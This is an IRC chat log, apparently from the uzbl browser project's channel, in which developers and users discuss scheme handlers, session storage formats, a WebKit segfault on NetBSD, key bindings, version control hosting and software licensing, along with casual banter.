23:20 < lwithers> http://www.lwithers.me.uk/usr/src/uzbl/
23:20 < lwithers> the patch implements talk_to_socket as a handler
23:20 < lwithers> cookietest.c is a dummy test daemon to show the IPC works
23:25 < lwithers> oh cookietest.c needs to be linked against libevent as well
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23:32 < scj> schmx: what about formfiller.sh?
23:33 < schmx> scj: oooooh! That bugger! calls vim and everythin' (:
23:33 < schmx> scj: and really! #!/bin/bash  :(
23:33 < schmx> ;)
23:33 < schmx> vim I can somewhat live with installing I guess (:
23:34 < scj> uh. change it to some other editor
23:34 < schmx> yes. I changed it to vi
23:35 < schmx> I most likely will install vim later anyway though (:  Hopefully I'll have no problem running it all w/o bash too (:
23:35 < schmx> for all this "unix way" ideals it seems odd to supply a script that wants bash and vim, that's what I'm sayin' (:
23:36  * schmx issa waiting for make readme to finish so he can build dependencies so he can build uzbl (:
23:36 < schmx> 'tisl be a long night
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07:47 < mason-l> "<_stack_> uzbl_tabbed.py www.example.com doesn't even open the link, is that a my issue ?" <-- My problem. I havent setup uzbl_tabbed.py to take any arguments from the command line yet.
07:47 < mason-l> "<Dieterbe> mason-l> Another great feature for uzbl_tabbed.py is saving the current state in JSON instead of the session flatfile in ~/.local/share/uzbl/session <-- holy shit ! json is soo much better then plaintext omg omg woot" <-- So good idea then?
07:47 < mason-l> Dieterbe, I've got a working json version if you would like to try it out
07:47 < mason-l> In my "uzbl-tabbed-json-session" branch.
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09:26 < mason-l> holizz, Hey
09:26 < holizz> Hullo.
09:27 < mason-l> So what do you think: plaintext flatfile v.s. json ?
09:27 < Dieterbe> mason-l: actually i was being sarcastic :)
09:27 < mason-l> Dieterbe, Goddam.
09:28 < holizz> JSON's more extensible, in that you can easily add the title in there with no fuss, but it requires extra dependencies.
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09:33 < mason-l> Maybe.. make it optional.
09:34 < mason-l> set json_session = 1 or 0
09:34 < mason-l> It does have its advantages so I think it justifies the extra code.
09:35 < holizz> Apart from http, https, about, file, data, what other URI schema do we want to be handled by uzbl and not a script?
09:36 < scj> javascript
09:36 < holizz> That already seems to just work without any intervention.
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09:36 < Dieterbe> holizz: you know, it would be pretty cool if even requests for file:// would go to the scheme_handler, and then the handler would reply 'DIY' or something, so the user still has the chance to check the mimetype or whatever of the file in question
09:38 < holizz> Dieterbe, That would require using _sync, which would mean scheme_handler would have to execute, and then die immediately otherwise it would block uzbl from doing anything.
09:39 < Dieterbe> yes
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09:40 < Dieterbe> (or we could also adapt it to the talk_to_socket thing lwithers is working on)
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09:46 < ruskie> O.o scheme handler???!!! nice
09:48 < ruskie> why not handle by default all internally unless there's a set external_scheme_handlers = whatever
09:52 < holizz> Dieterbe, I'm making it _sync, let Python spawn a new asynchronous process.
09:53  * holizz copies
09:53  * holizz pastes
09:53 < Dieterbe> holizz: huh?
09:54 < holizz> So the scheme_handler can return a value to let uzbl know what it's doing.
09:56 < holizz> "1. There may be too many comments?" Not according to Ohloh!
09:57 < Dieterbe> holizz: but once the handler has made up it's mind, the only thing left to do is (maybe) spawn an external progress (can be in the background, non blocking) and/or echoing something to stdout for uzbl
09:57 < Dieterbe> so i don't see how you would make this any faster
09:57 < Dieterbe> as all the "hard work" happens before the handler echoes to uzbl
09:59 < holizz> No, it would be slightly slower than the current implementation. But the default script isn't doing a whole lot before it returns a value.
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10:34 < mason-l> I take it 100% that a tab character is not a valid character in urls?
10:35 < mason-l> Or titles?
10:35 < mason-l> Actually I think its valid in titles.
10:35 < mason-l> It doesn't show up but its valid.
10:36 < holizz> HTML conflates whitespace, so tabs would never appear in a title element.
10:36 < mason-l> Nice.
10:37 < holizz> HTML essentially does s/\s+/ /g. And the only time you'd get more than one space is if there were &nbsp; entities (non-breaking space), which allow more than one space to appear in a row.
10:44 < holizz> Hmm. Somehow, uzbl is waiting for all processes spawned by scheme_handler to exit before it responds again. I think it might be better to find out which schema WebKit supports.
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12:59 < holizz> http://www.reversehttp.net/demos/demo.html
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12:59 < holizz> Uzbl segfaults if you try to connect to "http:/???/".
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13:01 < holizz> Oops. Should be "http://???/", but it shouldn't really segfault when loading "http:/???/".
13:01  * schmx looks forward to segfaulting it.
13:01  * schmx agrees that it shouldn't (:
13:07 < holizz> Launchpad is now open source. It should only be a matter of time before it supports git.
13:09 < schmx> Waz launchpad?
13:09 < ruskie> since when is it open source/
13:09 < ruskie> ???
13:10 < holizz> Since today, I think.
13:10 < ruskie> seems like it yeah
13:11 < ruskie> nice
13:11 < holizz> schmx, Launchpad is Canonical's project hosting service. It hosts Ubuntu and lots of other projects.
13:11 < schmx> eh.
13:11 < schmx> ubuntu :D
13:11 < schmx> what's wrong with github? (:
13:12 < L29Ah> launchpad is a hosting service
13:12 < L29Ah> not a social network :)
13:12 < schmx> github is a social network?
13:12  * schmx missed that part :S
13:13 < ruskie> yeah sadly it is
13:13 < mason-l> Correction: github is a social coding network :)
13:13 < ruskie> gitorious is the same
13:13 < schmx> Wow.
13:13 < schmx> I never noticed that about github. Maybe I am doing it wrong :(
13:13 < ruskie> and all web2.0hhhyy
13:13  * ruskie preferes the plain and simple of repo.or.cz
13:16 < schmx> That's terrible.
13:17 < schmx> I just thought github was a nice place to backup your source.
13:18 < schmx> well seems uzbl will not be ready built for another hour or two. time to go buy some tools.
13:18 < schmx> lookin' forward to see if I can convert to this browser :)
13:18 < schmx> It's a uzbl vs emacs-w3m battle coming up!
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13:21 < holizz> ZOMG. bzr just took me down. I was trying to clone launchpad.
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13:35 < Phillemann> http://labs.mozilla.com/2009/07/design-challenge-summer-09-honors/ - interesting
13:38 < L29Ah> ruskie: btw, thx for repo.or.cz :)
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15:11 < schmx> I've got uzbl compiled :D
15:12 < schmx> now to fix me a config and make that there script work :D
15:12 < Dieterbe_> which script?
15:12 < mason-l> schmx, What are you trying to do?
15:12 < schmx> mason-l: I have been trying to build uzbl. But I needed to build a newer version of webkit. that all.
15:13 < schmx> Dieterbe_: There is a not so portable script among the supplied scripts. No biggie to fix it I hope :)
15:13 < mason-l> schmx, Which script is that?
15:13 < schmx> lemme see..
15:13 < schmx> formfiller.sh
15:14 < mason-l> Ah, sorry cant help :P
15:14 < schmx> Yeah. I'm hoping #!/bin/bash => #!/bin/sh   and vim => vi   will.. Just Work.
15:14 < schmx> Though I can live with installing vim I guess.
15:15 < schmx> well I'll see if I ever need to fill in a form (:
15:16 < Dieterbe_> formfiller is for automatically populating forms
15:16 < Dieterbe_> not for manually typing
15:16 < schmx> oho.
15:16 < Dieterbe_> maybe we should call it formpopulator. that sounds pretty nice
15:16 < schmx> yup.
15:17 < schmx> being a bit new to this I had no idea.
15:17 < schmx> Still.. supplying a script that demands vim. Not very portable :P
15:17 < Dieterbe_> of yourse you could have read the explanation in the header of the script
15:17 < schmx> yup.
15:17 < schmx> Btw I am wondering where does one find a uzbl man page?
15:17 < Dieterbe_> dunno. never looked for it
15:18 < schmx> ah
15:18 < schmx> first thnig I did when I installed it :S
15:18 < schmx> see "simple html from filler for uzbl"  sounds to me like what I'd use to fill in forms :)  populater for sure!
15:19 < schmx> Well I will go celebrate this with a roasted chicken.
15:20 < Dieterbe_> i think the .sh one is deprecated btw. scj ?
15:20 < schmx> hmm ok.
15:20 < schmx> That's great.
15:20 < schmx> I need some chips with this (:
15:20 < schmx> What I need to do is hook this uzbl up with mah ps-controller.
15:21 < holizz> Do it!
15:21 < Dieterbe_> o_O
15:27 < schmx> I was at the hardware store buying me some tools, like we men do, and I spotted a ps->usb gadget. "requires win98 or later". So that should work out I hope :P
15:28 < schmx> Dieterbe_: If I can hook my emacs up with a 3d mouse, then I can write a script to controll uzbl with this baby :P
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15:31  * holizz creates an uzbl project on gitorious, primarily to see if gitorious is any good
15:31 < mason-l> Dieterbe_, Is there a way of grabbing a uzbl instances current page load as a percentage from outside uzbl via an exposed variable?
15:31 < holizz> "We're sorry but something went wrong" -> I've seen that twice so far... Not the most reliable of code hosting sites.
15:32 < Dieterbe_> holizz: which site?
15:32 < mason-l> holizz, Which, who?
15:39 < holizz> Gitorious.
15:47 < holizz> So RE  this scheme_handler. I don't really know what I can do to spawn a new process without it blocking uzbl, so maybe we should (1) have a space-seperated list of schema that scheme_handler is used for, or (2) just make a list of schema that uzbl supports and whitelist those. Vote: solution 1 or solution 2?
15:47 < schmx> Now to install me some ypthon.
15:51 < Dieterbe_> holizz: what about 2, but making it customizable? set handle_scheme_yourself = 'http https data js file'
15:52 < Dieterbe_> holizz: on the other hand, i don't get your obsession about not blocking uzbl
15:53 < holizz> Dieterbe_, Oh, so a customisable list of schema uzbl should handle on its own? That seems backwards to me.
15:54 < Dieterbe_> well, maybe you should explain what the problem is you're trying to solve
15:54 < holizz> Dieterbe_, Well if I click, say, a git link and it clones something, then uzbl won't respond until you've finished cloning. No responding to keypresses, and it won't even redraw its window until the shellout finishes execution.
15:55 < Dieterbe_> that is, assuming that the scheme handler and the git cloning are in the same process
15:56 < Dieterbe_> ie, if scheme handler is a shell script, you can do 'git clone foo &' and exit the script
15:57 < holizz> Dieterbe_, We discovered that this doesn't work when I was doing my new_window handler -> uzbl does some deep magicks and doesn't resume functioning until _all_ child processes are finished.
15:58 < holizz> It's got to be something to do with the _sync functions.
15:59 < Dieterbe_> maybe we should try to solve that, then
16:02 < schmx> wow segfault.
16:03 < schmx> ok whatever site I open up segfaults.
16:03  * schmx installs himself some gdb.
16:09 < schmx> that's great.
16:09 < schmx> Is anyone running this on netbsd?
16:10 < holizz> I think somebody patched our makefile to run on OpenBSD, but I don't know of any NetBSD users.
16:10 < bct> aha, i guess that explains why you've been having so much trouble :)
16:11 < schmx> bct: nah. No problems. I have just been waiting for webkit to compile.
16:11 < bct> there was some *BSD patch for the makefile, but it wasn't netbsd
16:11 < schmx> holizz: It builds just fine. it starts up too. starts loading the pages, then it segfaults.
16:11 < bct> what does gdb say?
16:12 < schmx> gdb is given me a nice bt of hmm..
16:12 < schmx> #0  0x83ffffdc in ?? ()
16:12 < schmx> #1  0xbb348cac in JSC::globalFuncUnescape () from /usr/pkg/lib/libwebkit-1.0.so.2
16:12 < schmx> #2  0xb8e8220f in ?? ()
16:12 < schmx> #3  0xb8e70000 in ?? ()
16:12 < schmx> #4  0xbfbfb4f8 in ?? ()
16:12 < schmx> sorry about the massive paste.
16:12 < schmx> well it goes up to #59 there.
16:12 < bct> ha, oh dear.
16:12 < schmx> indeed.
16:12 < schmx> I maybe will rebuild webkit with more debug information.
16:14 < schmx> Now I will eat some more chicken and explain to my wife why linux is a plague :P
16:14 < holizz> Heh.
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16:14 < holizz> Explain it to us too.
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16:20 < schmx> holizz: It is maybe not so much linux, it is more the gnubians.
16:21 < schmx> yeah. gnu userland. and all the unportable code coming out of the linux camp. That's the plague :)
16:21 < schmx> it's worse than microsoft developers.
16:21 < ruskie> holizz, tried with a & and disown for the handler?
16:21 < holizz> It's portable if it runs on Ubuntu _and_ Debian ;)
16:21 < schmx> holizz: exactly.
16:21 < ruskie> rofl
16:22 < ruskie> it runs on a lot more
16:22 < holizz> ruskie, Yep. I tried that when I was doing new_window, and I'm using subprocess.Popen in Python.
16:22 < schmx> holizz: I think the problem is that most linux users.. and it has truly been like this since back when I got my first slackware box ('94).. have not touched any other unix system than whatever flavour of linux that they're on.
16:23 < schmx> holizz: maybe they have seen a freebsd logo, and maybe even had that installed. But eeh.. right. well you get the idea :)
16:24 < ruskie> <-- runs openbsd on his firewall and had to admin solaris boxen at work
16:24 < ruskie> and I still prefer gnu userland to bsd userland
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16:25 < ruskie> with one exception... networking on openbsd is a dream... no 20 different commands to do more or less the same... want to manage wireless or ethernet... wpa or wep... all the same ifconfig
16:26 < schmx> ruskie: I'm not saying it is bad to use gnu userland, I'm saying that writing non-portable tools is shit :)
16:27 < schmx> which a lot of GNU people do ;)
16:27 < ruskie> depends on what you want to do
16:27 < schmx> well write tools for people to use. and do it in a unix way like we all do :)
16:27 < ruskie> http://img134.imageshack.us/img134/8834/googlesfidamicrosoftconzi2.jpg <-- :)
16:27  * ruskie does a lot of shell scripting... be it bash zsh or plain posix
16:27 < schmx> I like to keep me scripts sh (:
16:28 < ruskie> well there's some tool to help you remove bashisms
16:28 < schmx> but bash is no problem really. What is the problem is when people think "sed -i" or some weaird gawk thing works all over the place.
16:28 < ruskie> well sed -i I'm aware of
16:28 < ruskie> but that's easily workarounded
16:29 < ruskie> the problem is that if you actually know UNIX sh you only know that UNIX sh not the other vendors
16:29 < ruskie> since their own sh's had plenty of differences
16:29 < schmx> yes. by using ed ;)
16:30 < ruskie> even sed will work
16:30 < ruskie> test if sed -i works if not function sed(){ do the magic }
16:30 < schmx> that's why there's a standard or 5 (:
16:31 < schmx> Right.. or just don't do inplace shit with sed. It's not made for it :)
16:31  * schmx watches webkit build .
16:31 < schmx> well I guess this will be done in 6 hrs.
16:31 < ruskie> lol
16:32 < ruskie> even have the proper version?
16:32 < schmx> What is the "proper version" ?
16:32 < ruskie> iirc it's in the uzbl docs
16:32 < schmx> I think it says 1.1.4
16:32 < ruskie> yeah
16:32 < schmx> I have 1.1.8
16:33 < bct> schmx, why does it take so long to build? just an old machine?
16:33 < schmx> bct: dunno. Nope. not an old machine.
16:33 < ruskie> webkitgtk takes long to build
16:33 < ruskie> Casting webkitgtk took 1h 7m
16:33 < schmx> pentium M 1.7
16:33 < ruskie> on a sempron 64 bit with 3 makejobs
16:33 < schmx> it's no problem. I remember waiting 3 days for linux kernel 1.2 to build ;)
16:34 < schmx> maybe netbsd is adding some patchery.
16:34 < ruskie> I find it sad that people don't respect the compile now-a-days
16:34 < schmx> RESPECT IT
16:34 < bct> ruskie, that's about how long it took me. i guess 6hr is just humorous exaggeration
16:35 < schmx> well I didn't time it. but it was atleast 4hrs.
16:35 < schmx> though it did build a lot of other stuff. no idea how long just webkit took.
16:36 < schmx> nope.. no patch that should make any difference.
16:36 < mason-l> "<schmx> it's no problem. I remember waiting 3 days for linux kernel 1.2 to build ;)" <-- Want to race on your current computer against mine? $ make clean && time make
16:36 < mason-l> :)
16:36 < schmx> mason-l: sure.. lemme just skip over to the desktop and time make -j4. I can tell you it is ~4 minutes
16:37 < schmx> I guess I can make it faster if I disable everything :P
16:37 < mason-l> schmx, Thats cheating!
16:37 < schmx> YES
16:38 < schmx> It'd be odd though. we'd need the same kernel config.
16:38 < mason-l> Yes I know but its still fun :)
16:38 < ruskie> that's like saying you would need the same car engine to race
16:38 < schmx> ruskie: no. but we'd need the same race track.
16:38 < ruskie> that would be the same source code
16:39 < schmx> and same config.
16:39 < schmx> different kernel config == different source being compiled.
16:39 < ruskie> erm
16:39 < schmx> if I disable ntfs support I can shave off a second. the race course gets changed.
16:39 < ruskie> not talking about kernel compile
16:39 < holizz> A different engine would be a different cc.
16:39 < mason-l> schmx, Oh and the same kernel version
16:40 < schmx> yup.
16:40 < mason-l> And gcc version
16:40 < mason-l> And you -O level
16:40 < schmx> mason-l: 4m 3.02s
16:40 < mason-l> 'your
16:40 < mason-l> I'm just redoing mine (I forgot the -j4 :P)
16:41 < schmx> someone told me -j3 was faster.
16:41 < schmx> it wasn't.
16:41 < ruskie> depends on the cpu and so on
16:41 < mason-l> It mainly depends on the number of cores.
16:41 < schmx> yes.
16:41 < mason-l> I normally take cores * 2
16:41 < schmx> they said one should always core - 1
16:41 < schmx> huh.
16:41 < schmx> I just take core
16:41 < schmx> so j4
16:42 < ruskie> I take num of cpus from /proc/cpu(HT doubles them) +1
16:42 < schmx> creepy
16:42 < schmx> :D
16:43 < schmx> I just stay away from kernel building.
16:43 < mason-l> Is the "cpu cores	: 2" line on each of my processors mean that I have 4 cores in total with my two processors?
16:43 < mason-l> 'does the
16:43 < ruskie> mason-l, cat /proc/cpuinfo
16:43 < mason-l> ruskie, I know, thats where I am looking.
16:43 < ruskie> processor: 0 <-- number here
16:44 < schmx> yeah. I get 'em all listed as 4 seperate CPUs.
16:44 < ruskie> so just look at the last number +1
16:44 < mason-l> schmx, real 5m14.418s
16:44 < mason-l> :(
16:44 < schmx> bah!
16:44 < schmx> It's ok. You don't have to be ashamed of your extremely slow computer.
16:44 < ruskie> lol
16:44 < schmx> maybe you should consider switching to lynx though.
16:44 < mason-l> Its a few years old now.
16:45 < schmx> :(
16:45 < ruskie> switch -O* to -O0 and retry
16:45 < schmx> what I am not going to do is try building a kernel on this specific machine than is running irssi.
16:45 < mason-l> I'm just afraid of buying a new computer because I am not up to date with all the latest technobabble about I7-this and DUO4-that.
16:45 < schmx> Why do you need one anyway? :)
16:45 < mason-l> Exactly.
16:46 < schmx> I bought a quad core fast one for gnubg. that's all.
16:46 < ruskie> gnubg?
16:46 < schmx> yup
16:46 < schmx> I record my games and use it to do rollouts.
16:46 < mason-l> gnu background setter?
16:46 < ruskie> I got a dualcore atom for my server single core atom for the firewall and used sempron 64 as my desktop
16:47 < schmx> switching to this quad core makes it takes just an hour or two at average.
16:47 < schmx> mason-l: gnu backgammon
16:47 < mason-l> "GNU BackGammon"
16:47 < mason-l> lol
16:47 < schmx> Yes.
16:47 < holizz> One day I'll purchase a computer fast enough to run nethack.
16:47 < ruskie> don't need one :)
16:47 < schmx> mason-l: tell you what. You can register at some site like ladbrokes and we can play a money session. Just a 5euro wager to start it all off?
16:47 < ruskie> telnet nethack.alt.org
16:47 < schmx> mason-l: I'm not very good at backgammon.It is easy money for you.
16:48 < ruskie> rofl
16:48 < schmx> here's my amazing server that irssi is running off of
16:48 < schmx> Using fallback suid method
16:48 < schmx> Processor	: XScale-IXP42x Family rev 2 (v5b)
16:48 < schmx> BogoMIPS	: 266.24
16:48 < schmx> oh never mind the fallback suid method.
16:49 < ruskie> nice
16:49 < schmx> yup. nslu2 running slugos
16:49 < ruskie> what's the power use?
16:49 < schmx> Not sure. not much anyway :)
16:49 < ruskie> hmm not really impressed by that
16:49 < schmx> I bought it to have it running 24/7 instead of the quadcore x86-64. Saves me .. oh 30euro / month electricity.
16:50 < ruskie> omg
16:50 < ruskie> expensive 'leccy
16:50 < schmx> and hooked it up with 2x1TB usb disks for storage and what heck. very nice with sshfs :)
16:50 < schmx> mplayer ~/slug/funnymovie.avi
16:50 < schmx> and it just works out.
16:51 < ruskie> I prefer nfs on the lan :)
16:51 < schmx> cools.
16:51 < schmx> We tried samba. That was slow.
16:51 < mason-l> Does nfs use a ssl?
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16:51 < ruskie> no
16:51 < ruskie> hence I said LAN
16:51 < ruskie> as in the stuff BEHIND the firewall :)
16:52 < ruskie> on the wide open spaces of the intertubes sshfs is still the best
16:52 < schmx> ruskie: We also have a windowsXP machine running in the LAN, so unprotected nfs.. I dunno :D
16:52 < mason-l> ruskie, I'll give you BEHIND the firewall!
16:52  * ruskie waits for mason-l to figure out his IP and attempt to breach his firewall - no rewards though
16:52 < schmx> ok that was too much idle chat. You are too nice and friendly people :)
16:53  * schmx needs to get code written. and google needs to explain netbsd +uzbl
16:53 < schmx> roguelikes don't write 'emself (:
16:53 < mason-l> ruskie, No need, I got it ages ago when you logged in: * ruskie (i=ruskie@127.0.0.1) has joined #uzbl
16:53 < mason-l> Bide your time
16:55  * mason-l fires up hax.exe 
16:56 < mason-l> ... Someone paste some tumbleweed ascii in to the channel.
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17:03 < mason-l> I wish there was a roller coaster tycoon clone for linux.
17:06 < schmx> mason-l: mebbe take openttd and work that into a roller coaster tycoon (:
17:07 < mason-l> Is that transport tycoon deluxe?
17:07 < schmx> yup
17:08 < mason-l> That game has remarkably similar graphics just the scale is way out.
17:08 < schmx> I'd think quite a bit of the engine could be reused.
17:09 < mason-l> And the sad thing: I wouldn't have the slightest idea how :(
17:09 < mason-l> I wish I could do everything...
17:09 < schmx> don't we all :)
17:09 < schmx> I think it would take quite a bit of learning how openttd works first too.
17:09 < schmx> so one knew how to remodel it. Might actually be easier to write one from scratch.
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17:10 < schmx> isometric is a bit of a bitch I guess.
17:10 < schmx> less work to just model it all in opengl and rotate (:
17:11 < schmx> Unless.. you know.. you're schmx and anything remotely related to graphics does not look anything like what it should.
17:11 < schmx> I made a water tile yesterday. I gave up and just made a homogenely blue 16x16 square.
17:12 < mason-l> schmx, Dont worry I was reading the other day about the correlation between artists and the tendency for people to develop schizophrenia. Be glad you cant tile for shit :P
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17:13 < schme> wadda ya mean. I'm a really good artist.
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17:13 < mason-l> :)
17:14 < mason-l> http://www.newscientist.com/article/dn17474-artistic-tendencies-linked-to-schizophrenia-gene.html here is it.
17:14 < mason-l> 'here it is.
17:15 < schmx> this uzbl segfaulting is bumming me out :(
17:16 < holizz> Well hurry up and fix it then!
17:16 < schmx> yeah.. hurrying up the cakes.
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17:19 < Dieterbe_> uranther: soup
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17:21 < uranther> heya
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17:28 < uranther> Launchpad is opensource now..
17:29 < ruskie> yup
17:29 < ruskie> and Micros~1 released some Linux drivers under the GPL
17:30 < ruskie> I'm guessing the temperature in hell is rather chilly
17:31 < uranther> heh
17:31 < uranther> it's a very good business decision for M$
17:31 < ruskie> yeah now they have new patents they can sue people about
17:31 < uranther> they are now competitive with VMware since they don't have upstream kernel modules
17:31 < mason-l> ruskie, not under the GLP2 they dont.
17:32 < ruskie> mason-l, they do
17:32 < ruskie> GPL2 doesn't give any patent protection
17:32 < schmx> I am surprised by this MS thing.  MS has been releasing open source software for years and years.
17:32 < mason-l> I was under the impression that GPL2 has some inbuilt patent protection against this sort of thing thats why the kernel devs didnt move to GLP3
17:32 < ruskie> nope
17:32 < mason-l> Oh.
17:32 < ruskie> GPL3 has it
17:33 < mason-l> I forget the controversy then.
17:33 < ruskie> the kernel devs a) have an insane amount of copyrights they would need to get assigned b) don't like the anti-Tivozation clause
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17:34 < ruskie> I'm guessing a full rewrite would be cheaper and faster then finding all the copyright holders
17:35 < ruskie> especially since some of those are dead iirc
17:35 < bct> let alone trying to cut out and rewrite the work of the people who refused
17:35 < mason-l> wow.
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17:36 < ruskie> bct, figuring out which bits are those would be even harder iirc
17:36 < ruskie> most of the kernel development before bitkeeper was send me a patch by email -> apply patch -> make release after enough patches
17:37 < holizz> GPLv2: "For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program."
17:37 < holizz> ruskie, ^^
17:38 < ruskie> holizz, yup
17:38 < ruskie> no protection
17:38 < ruskie> I know :)
17:39 < holizz> But it means Microsoft can't distribute GPLv2 code if they have patents that don't have non-revokable royalty-free licences.
17:39 < ruskie> gpl3 atleast gives if you contribute code to this project you are hereby also granting a worldwide royalty-free license on any associated patents that might be present in the code
17:39 < ruskie> holizz, no they are infact the only ones that can
17:41 < ruskie> though in this case I doubt something like that would happen
17:41 < ruskie> but Micros~1's strategy is always E-E-E
17:41 < mason-l> Expand E?? E??
17:41 < bct> embrace extend extinguish
17:42 < mason-l> Ah yes.
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18:22 < unomi> Hi
18:22 < unomi> any hints on getting uzbl running on debian lenny?
18:30 < holizz> make?
18:30 < Dieterbe_> wiki/howtos
18:37 < unomi> the make fails horribly
18:37 < unomi> there are dependencies which cannot be met
18:37 < unomi> I saw the german site which had some packages which should fulfill them
18:38 < holizz> What dependencies are you missing?
18:38 < unomi> no idea :)
18:38 < unomi> make just crash and burns
18:38 < unomi> actually let me get back to you on this later, thanks for wanting to help though
18:38 < unomi> right now is a bit of a bad time
18:39 < holizz> No problem.
18:43 < holizz> Probably about time I started to shut up shop. See you when I get home.
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19:30 < temoto> Hello. How to set binding to Ctrl-Q?
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19:51 < L29Ah> MODE [KEYCMD]  LOAD_PROGRESSBAR URI NAME MSGSELECTED_URI
19:51 < L29Ah> :D
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19:53 < schmx> WOW
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20:08 < holizz> Has anybody actually tried to bzr branch lp:launchpad yet? Let's just say I don't think bzr scales well.
20:08 < bct> L29Ah, are you complaining that that's what your status bar displays?
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20:09 < bct> holizz, yeah. bzr was my first dvcs and i moved away from it because it was so awfully slow
20:10 < holizz> Not only slow, my home server won't actually respond to SSH at the moment. Gah.
20:10 < bct> it's maxing out your cpu and/or bandwidth?
20:11 < holizz> One of those.
20:12 < holizz> Presumably CPU as my Internet isn't nearly as fast as ethernet.
20:12 < temoto> Hello. How to set binding to Ctrl-Q?
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20:13 < holizz> temoto, You have to type the control code into the config file. It's not an ideal situation.
20:14 < L29Ah> bct: yep
20:14 < bct> L29Ah, the syntax for status_format and title_format changed
20:14 < L29Ah> and all the keys are dead too
20:14 < bct> take a look at the updated example config
20:14 < L29Ah> thx
20:15 < temoto> holizz: what is the code? :)
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20:52 < temoto> holizz: what is the code? :)
20:53 < holizz> temoto, In vim, for instance, you'd type Ctrl-V and then Ctrl-Q to enter the control code for Ctrl-Q.
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20:55 < temoto> holizz: thanks.
20:57 < temoto> holizz: did you try it?
20:57 < temoto> holizz: vim's Ctrl-v ignores ctrl-q.
20:57 < schmx> 3rd hour of webkit build started. still going strong.
20:58 < holizz> temoto, Were you in insert mode?
20:58 < holizz> schmx, Keep at it. Hope it actually works for you this time.
20:59 < schmx> temoto: It does ignore ^Q, yes.
20:59 < temoto> holizz: yes, i am always in insert mode.
20:59 < schmx> holizz: Well I'm building it with -ggdb to get a better bt
20:59 < schmx> I guess.. I could maybe get it to run on the server and ssh -X
20:59 < schmx> hmmm..
21:00 < schmx> damn computers and their easy solutions.
21:00 < holizz> temoto, Oh? Does uzbl itself igonre it? I suppose it's a code that's not possible. Like ^I doesn't work either. We definately want to make a better solution to this problem. But I'm not sure if anybody's working on it right now.
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21:01 < schmx> temoto: some terminal emulators like to ignore ^ÅQ
21:01 < schmx> fuck
21:01 < schmx> ^Q
21:01 < schmx> that got messed up
21:01 < temoto> Guys, uzbl is not a terminal app, right?
21:01 < schmx> some terminal emulators ignore ^Q
21:01 < schmx> no but you are using vim in a terminal emulator, no?
21:01 < temoto> schmx: ah you meant that.
21:02 < temoto> Right, gvim gave me ^Q
21:02 < temoto> schmx: thanks.
21:02 < schmx> n/p.
21:02 < schmx> ALSO RTFM
21:02 < schmx> ;)
21:02 < temoto> i hate terminals
21:02 < schmx> heathen.
21:02 < schmx> the reason one runs X is to fit in more terminals, no? :)
21:03 < temoto> No, i would really glad if linux had a good window system like quartz and all terminal apps would accept all keys by a miracle.
21:04 < schmx> never heard of no quartz.
21:05 < temoto> Anyway, when i type Ctrl-q in uzbl, i see this in statusbar: .. damn i can't copy that. It looks like a box with 00 on top row and 11 on bottom row. Wierd symbol.
21:05 < schmx> They make windowing systems running on top of X worse every day. look at gnome and that KDE. it's horrid :)
21:05 < temoto> schmx: that's what mac uses.
21:05 < temoto> I don't mean window manager! Ah-Ah!
21:05 < schmx> whatever happened to sane one like fvwm or ion3?
21:05 < schmx> ok.
21:05 < schmx> I like X.
21:05 < schmx> temoto: not any macs I use. they all run netbsd :P
21:06 < schmx> temoto: mebbe make a screenshot
21:06 < schmx> M-p scrot RET ? ;)
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21:07 < temoto> Maybe just drop it for now. Thanks for support anyway.
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21:08 < holizz> The 0011 thing they witnessed is a fallback character. It's what you see if you type any ctrl code into uzbl and you don't have a binding for it.
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21:11 < Dieterbe_> schmx: i think you could have written your own browser by now ;P
21:11 < schmx> weeell. webkit would still have to compile (:
21:17 < holizz> bzr branch lp:launchpad's progress bar: [#########-          ] ... after 3 hours.
21:18 < holizz> And I thought cloning a 200M git repo over wifi at a conference was slow. killall bzr
21:22 < Dieterbe_> hmmm, bzr and git are distributed.. they should integrate it with a p2p technology like bitorrent
21:22 < Dieterbe_> to make more use of the distributedness
21:23 < bct> there is gittorrent
21:23 < holizz> Launchpad is only a few years old, I'm not sure all that time could have been taken up by downloading. Unless bzr has some philosophical objection to compression.
21:23 < bct> from what i recall it's a very cool idea
21:24 < bct> for example, you could have a git repository for episodes of a tv show
21:24 < bct> as new ones come out, you add them to the repository. anybody tracking that repository will start getting the new episodes over bittorrent when they pull
21:25 < Dieterbe_> man that sounds sweet
21:25 < schmx> so it's pretty much a git repo with .torrents and they are pulled into the dir rtorrent autoloads from?
21:26 < Dieterbe_> do want !
21:26 < schmx> just a sh script away :P
21:27 < bct> well, no
21:27 < bct> because the files themselves are versioned
21:27 < schmx> hoh.
21:27 < bct> i guess you could mimic that too somehow
21:28  * schmx will just stick with the normal way.
21:28 < schmx> pen and paper!
21:28 < Dieterbe_> what's the point in versionning the movie files themselves? just the .torrent files should be enough.  i don't see the purpose of versionning the movie files because they probably don't really change, and if they change then afaik git is quite inefficient to store the "binary diffs"
21:29 < bct> well yeah, in that particular example it's useless
21:29 < schmx> Seems a bit of an odd thing to version yeah.
21:29 < holizz> Also, there'll be a copy in .git/objects, and you'll need another copy when you check it out.
21:29 < schmx> I'm trying to picture it for source.
21:34 < bct> i'm not convinced it's actually useful except for *really* big and popular source repositories
21:34 < bct> but it's a cool idea
21:34 < schmx> yeees
21:34  * schmx has been informed that git is bad for big source repos anyway.
21:35 < bct> how big is big?
21:35 < schmx> pretty big
21:35 < schmx> heh.
21:35 < scj> linux kernel big?
21:35 < bct> imo if it's too big for git (or any vcs, really) it's too big
21:35 < schmx> scj: linux kernel small, big.
21:36 < schmx> That is what I was told by a friend. They abandoned git because it was too slow.
21:36 < bct> what are they using instead?
21:36 < schmx> claimed it didn't do the job for big projects.
21:36 < schmx> dunno.
21:36 < schmx> I'll ask next time I bump into him.
21:39 < Dieterbe_> tarballs and ftp? :)
21:39 < Dieterbe_> SAN systems?
21:39 < Dieterbe_> ZFS snapshots? :P
21:40 < schmx> speaking of tarballs. How long are those uzbl tarballs around?
21:40 < schmx> do the regularily get removed and replaced?
21:40 < holizz> uzbl has tarballs?
21:40 < schmx> Yup.
21:40 < schmx> I found 4!
21:40 < Dieterbe_> schmx: they stay available. (github generates them on the fly i think), they just get outdated soon
21:40 < schmx> Cools.
21:40 < Dieterbe_> for any tag, github can give you a tarball
21:41 < holizz> Dieterbe_, Or any commit.
21:41 < Dieterbe_> really?
21:41 < holizz> I believe so.
21:41  * schmx thinks pretty much everyone would like a -stable.tgz
